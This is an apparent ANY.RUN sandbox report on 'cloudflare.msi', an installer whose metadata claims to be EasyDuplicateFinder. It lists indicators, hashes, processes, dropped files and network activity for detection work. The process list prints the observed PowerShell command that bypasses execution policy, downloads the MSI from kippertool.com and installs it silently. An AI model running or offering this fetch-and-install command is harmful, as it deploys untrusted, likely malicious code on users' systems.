Malware analysis /cloudflare.msi Malicious activity | ANY.RUN

Add for printing

download:	/cloudflare.msi
Full analysis:	https://app.any.run/tasks/4d5aad03-147f-41fb-a30c-700789afdb2a
Verdict:	Malicious activity
Analysis date:	December 11, 2024, 02:34:07
OS:	Windows 10 Professional (build: 19045, 64 bit)
Tags:	generated-doc
Indicators:
MIME:	application/x-msi
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: EasyDuplicateFinder, Author: Webminds, Inc., Keywords: Installer, Comments: This installer database contains the logic and data required to install EasyDuplicateFinder., Template: Intel;1033, Revision Number: {0A54C263-3378-4839-8B1F-E728530DE644}, Create Time/Date: Wed Dec 4 16:16:08 2024, Last Saved Time/Date: Wed Dec 4 16:16:08 2024, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
MD5:	5B4E1AE1818B630DAE4535EC96807462
SHA1:	D1AD62A4B640FEF1835A4D4DD54BFB4D6DDAAFFC
SHA256:	CDFCFFCEFF42C4134D2E41F0BDE414ABE7A4B7E0480C8F4294EBCA0B4AB9AF24
SSDEEP:	98304:vwk4n2oZGLOFHgZne3J19ifXMDO9nyUyIOtHLKR3Q5Ex/tdKzDWNXT8doffmZsLe:jop5VNkYGxQGD5H9a+StbOy

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

Add for printing

MALICIOUS
- Bypass execution policy to execute commands
  - powershell.exe (PID: 6280)
SUSPICIOUS
- Manipulates environment variables
  - powershell.exe (PID: 6280)
- Starts process via Powershell
  - powershell.exe (PID: 6280)
- Reads the Windows owner or organization settings
  - msiexec.exe (PID: 2828)
- Process drops legitimate windows executable
  - msiexec.exe (PID: 2828)
- The process creates files with name similar to system file names
  - msiexec.exe (PID: 2828)
- The process drops C-runtime libraries
  - msiexec.exe (PID: 2828)
INFO
- Disables trace logs
  - powershell.exe (PID: 6280)
- Checks proxy server information
  - powershell.exe (PID: 6280)
- An automatically generated document
  - powershell.exe (PID: 6280)
- Creates files or folders in the user directory
  - msiexec.exe (PID: 2828)
  - PDapp.exe (PID: 6452)
- The process uses the downloaded file
  - powershell.exe (PID: 6280)
- Executable content was dropped or overwritten
  - msiexec.exe (PID: 2828)
- Checks supported languages
  - msiexec.exe (PID: 2828)
- The sample compiled with english language support
  - msiexec.exe (PID: 2828)
- Create files in a temporary directory
  - PDapp.exe (PID: 6452)
- Manual execution by a user
  - msiexec.exe (PID: 6956)
- Creates a software uninstall entry
  - msiexec.exe (PID: 2828)
- Reads the computer name
  - PDapp.exe (PID: 6452)
- Reads the machine GUID from the registry
  - PDapp.exe (PID: 6452)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.msi	\|	Microsoft Installer (100)

EXIF

FlashPix

CodePage:	Windows Latin 1 (Western European)
Title:	Installation Database
Subject:	EasyDuplicateFinder
Author:	Webminds, Inc.
Keywords:	Installer
Comments:	This installer database contains the logic and data required to install EasyDuplicateFinder.
Template:	Intel;1033
RevisionNumber:	{0A54C263-3378-4839-8B1F-E728530DE644}
CreateDate:	2024:12:04 16:16:08
ModifyDate:	2024:12:04 16:16:08
Pages:	200
Words:	10
Software:	Windows Installer XML Toolset (3.14.1.8722)
Security:	Read-only recommended

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

134

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2828

C:\WINDOWS\system32\msiexec.exe /V

C:\Windows\System32\msiexec.exe

services.exe

User:

SYSTEM

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Windows® installer

Version:

5.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll

3984

"C:\WINDOWS\system32\msiexec.exe" /i C:\Users\admin\AppData\Local\Temp\m.msi /qn

C:\Windows\System32\msiexec.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows® installer

Exit code:

Version:

5.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll

6280

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -command "invoke-webrequest 'https://www.kippertool.com/cloudflare.msi' -outfile ($env:temp + '\m.msi'); start-process 'msiexec.exe' -argumentlist ('/i ' + $env:TEMP + '\m.msi /qn') -wait"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll

6288

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

6452

"C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\PDapp.exe"

C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\PDapp.exe

—

msiexec.exe

User:

admin

Company:

Adobe Systems Incorporated

Integrity Level:

MEDIUM

Description:

Adobe Application Manager

Version:

10.0.0.49

Modules

Images
c:\users\admin\appdata\local\programs\easyduplicatefinder\pdapp.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll

6920

C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Windows\System32\rundll32.exe

—

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows host process (Rundll32)

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll

6956

"C:\Windows\System32\msiexec.exe"

C:\Windows\System32\msiexec.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows® installer

Exit code:

1639

Version:

5.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll

Add for printing

Total events

9 975

Read events

9 138

Write events

828

Delete events

Modification events


(PID) Process:	(2828) msiexec.exe	Key:	HKEY_USERS\S-1-5-21-1693682860-607145093-2874071422-1001\SOFTWARE\Microsoft\RestartManager\Session0000
Operation:	write	Name:	Owner
Value: 0C0B0000AA621F3F754BDB01
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_USERS\S-1-5-21-1693682860-607145093-2874071422-1001\SOFTWARE\Microsoft\RestartManager\Session0000
Operation:	write	Name:	SessionHash
Value: 0653520E501139FE83DE1C9FE223CB4075CF42FA068BC63A6D9EFF2384FA64FF
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_USERS\S-1-5-21-1693682860-607145093-2874071422-1001\SOFTWARE\Microsoft\RestartManager\Session0000
Operation:	write	Name:	Sequence
Value: 1
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Folders
Operation:	write	Name:	C:\Users\admin\AppData\Roaming\Microsoft\Installer\
Value:
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-1693682860-607145093-2874071422-1001\Components\634DBB79B743036D349A028A1FB6CA61
Operation:	write	Name:	A7D545146E407E242A9ADB692BC61BCF
Value: C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\FBSDataBase.bak
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-1693682860-607145093-2874071422-1001\Components\BAB4F98607C4F1C0998EDB5E921CCF3B
Operation:	write	Name:	A7D545146E407E242A9ADB692BC61BCF
Value: C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\FBSProxy.dll
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-1693682860-607145093-2874071422-1001\Components\576FF7C9D715355BE1827631723C9A4B
Operation:	write	Name:	A7D545146E407E242A9ADB692BC61BCF
Value: C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\FBSWorker.ini
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-1693682860-607145093-2874071422-1001\Components\B5AA29DEA4E51521D087DD76207DAA50
Operation:	write	Name:	A7D545146E407E242A9ADB692BC61BCF
Value: C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\sslcert.ini
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-1693682860-607145093-2874071422-1001\Components\5D523C79F92B0C83F9406815CAD4DBA1
Operation:	write	Name:	A7D545146E407E242A9ADB692BC61BCF
Value: C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\ssleay32.dll
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-1693682860-607145093-2874071422-1001\Components\46D62616AFDCB0603DFCB7C28B437A4C
Operation:	write	Name:	A7D545146E407E242A9ADB692BC61BCF
Value: C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\alerts\delayed.htm

Add for printing

Executable files

Suspicious files

Text files

617

Unknown types

Dropped files

PID	Process	Filename		Type
6280	powershell.exe	C:\Users\admin\AppData\Local\Temp\m.msi		—
		MD5:—	SHA256:—
2828	msiexec.exe	C:\Windows\Installer\13c16f.msi		—
		MD5:—	SHA256:—
6280	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF135874.TMP		binary
		MD5:D040F64E9E7A2BB91ABCA5613424598E	SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
6280	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms		binary
		MD5:7F1CE1F64942718208F4516B3025A7E0	SHA256:19B16CB464BE2DD4214196C08CAF149FC280CF9F3E0044ED76654526E49A1732
6280	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\91Y1EJZH33CWZLBFD3HI.temp		binary
		MD5:7F1CE1F64942718208F4516B3025A7E0	SHA256:19B16CB464BE2DD4214196C08CAF149FC280CF9F3E0044ED76654526E49A1732
6280	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_uibztsae.2li.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6280	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_vqfcfwbl.lnc.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2828	msiexec.exe	C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\console\License,3.txt		text
		MD5:72937DBD9570EB6661403121A6413914	SHA256:E3F31E8147A3C59DAF8AC8C528EEF60999C1DFA80B8A67695266CE631661FADD
2828	msiexec.exe	C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\console\images\panel-header\panel-header-default-framed-bottom-corners.gif		image
		MD5:5B7558D963129821E2010CA78B42D181	SHA256:763698A69EC62D3B0D9EF7DC6FB9D03FDE10892D6F07775648CC8896CF4A74EF
2828	msiexec.exe	C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\console\images\tree\arrows.gif		image
		MD5:BB27C712BBA7130CBA49CC89DCE7717B	SHA256:ACBF2F3A301EB096624280CA192C662A458D8DF32B5B366037F5EE22C251C19B

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
—	—	GET	200	23.48.23.156:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
—	—	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
5464	backgroundTaskHost.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D	unknown	—	—	whitelisted
7160	SIHClient.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted
5064	SearchApp.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D	unknown	—	—	whitelisted
7160	SIHClient.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted
5064	SearchApp.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D	unknown	—	—	whitelisted

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	192.168.100.255:137	—	—	—	whitelisted
3040	svchost.exe	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4712	MoUsoCoreWorker.exe	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
5064	SearchApp.exe	104.126.37.139:443	www.bing.com	Akamai International B.V.	DE	whitelisted
5064	SearchApp.exe	192.229.221.95:80	ocsp.digicert.com	EDGECAST	US	whitelisted
—	—	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
—	—	23.48.23.156:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted
—	—	184.30.21.171:80	www.microsoft.com	AKAMAI-AS	DE	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
1176	svchost.exe	20.190.160.14:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted

DNS requests

Domain	IP	Reputation
settings-win.data.microsoft.com	51.104.136.2 20.73.194.208 4.231.128.59	whitelisted
www.bing.com	104.126.37.139 104.126.37.131 104.126.37.128 2.23.209.179 2.23.209.187 2.23.209.140 2.23.209.130 2.23.209.182 2.23.209.185	whitelisted
ocsp.digicert.com	192.229.221.95	whitelisted
google.com	142.250.181.238	whitelisted
crl.microsoft.com	23.48.23.156 23.48.23.143	whitelisted
www.microsoft.com	184.30.21.171	whitelisted
login.live.com	20.190.160.14 20.190.160.20 40.126.32.133 40.126.32.76 40.126.32.138 20.190.160.17 40.126.32.72 40.126.32.134	whitelisted
go.microsoft.com	184.30.17.189	whitelisted
www.kippertool.com	188.114.96.3 188.114.97.3	unknown
arc.msn.com	20.199.58.43	whitelisted

Threats

No threats detected

Add for printing

No debug info

General Info

/cloudflare.msi

5B4E1AE1818B630DAE4535EC96807462

D1AD62A4B640FEF1835A4D4DD54BFB4D6DDAAFFC

CDFCFFCEFF42C4134D2E41F0BDE414ABE7A4B7E0480C8F4294EBCA0B4AB9AF24

98304:vwk4n2oZGLOFHgZne3J19ifXMDO9nyUyIOtHLKR3Q5Ex/tdKzDWNXT8doffmZsLe:jop5VNkYGxQGD5H9a+StbOy

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Bypass execution policy to execute commands

SUSPICIOUS

Manipulates environment variables

Starts process via Powershell

Reads the Windows owner or organization settings

Process drops legitimate windows executable

The process creates files with name similar to system file names

The process drops C-runtime libraries

INFO

Disables trace logs

Checks proxy server information

An automatically generated document

Creates files or folders in the user directory

The process uses the downloaded file

Executable content was dropped or overwritten

Checks supported languages

The sample compiled with english language support

Create files in a temporary directory

Manual execution by a user

Creates a software uninstall entry

Reads the computer name

Reads the machine GUID from the registry

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings